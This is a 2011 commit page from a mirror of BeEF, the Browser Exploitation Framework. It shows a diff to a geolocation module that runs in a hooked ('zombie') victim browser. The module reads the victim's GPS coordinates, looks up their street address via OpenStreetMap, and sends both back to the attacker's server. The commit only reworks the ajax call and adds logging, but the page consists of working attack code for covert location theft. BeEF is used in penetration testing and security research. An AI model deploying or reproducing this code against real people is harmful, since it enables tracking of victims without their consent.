Hiddenden/beef
2
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

issue 271: fixed retrieving latitude and longitude, rewritten the ajax call to openstreemap in jquery. need to fix the json response to solve completely the issue

Browse Source 
git-svn-id: https://beef.googlecode.com/svn/trunk@746 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
antisnatchor
2011-02-17 16:48:04 +00:00
parent ddbb39432e
commit d652ee0c83
1 changed files with 26 additions and 13 deletions
Download Patch File Download Diff File Expand all files Collapse all files

39
modules/beefjs/geolocation.js
View File

@@ -16,20 +16,31 @@ beef.geolocation = {
* given latitude/longitude retrieves exact street position of the zombie
*/
getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){
beef.net.request(
'http://nominatim.openstreetmap.org/reverse?format=json&lat=' + latitude + '&lon=' + longitude + '&zoom=18&addressdetails=1',
'GET',
function(response) {
if(response.length > 0) {
var jsonData = JSON.parse(response);
beef.net.sendback(command_url, command_id, "latitude=" + latitude
$j.ajax({
dataType: "json",
error: function(xhr, status, error){
console.log("[geolocation.js] openstreetmap error");
beef.net.sendback(command_url, command_id, "latitude=" + latitude
+ "&longitude=" + longitude
+ "&openStreetMap=" + escape(jsonData.display_name)
+ "&openStreetMap=UNAVAILABLE"
+ "&geoLocEnabled=True");
}
},
''
);
},
success: function(data, status, xhr){
console.log("[geolocation.js] openstreetmap success");
// commenting it for now, it seems there are issues with the returned json
//var jsonData = $j.parseJSON(data);
beef.net.sendback(command_url, command_id, "latitude=" + latitude
+ "&longitude=" + longitude
//+ "&openStreetMap=" + jsonData.display_name
+ "&openStreetMap=UNAVAILABLE"
+ "&geoLocEnabled=True");
},
type: "get",
url: "http://nominatim.openstreetmap.org/reverse?format=json&lat=" +
latitude + "&lon=" + longitude + "&zoom=18&addressdetails=1"
});
},
/*
@@ -41,14 +52,16 @@ beef.geolocation = {
beef.net.sendback(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False");
return;
}
console.log("[geolocation.js] navigator.geolocation.getCurrentPosition");
navigator.geolocation.getCurrentPosition( //note: this is an async call
function(position){ // success
var latitude = position.coords.latitude;
var longitude = position.coords.longitude;
console.log("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude);
beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude);
}, function(error){ // failure
console.log("[geolocation.js] error [%d] getting position", error.code);
switch(error.code) // Returns 0-3
{
case 0: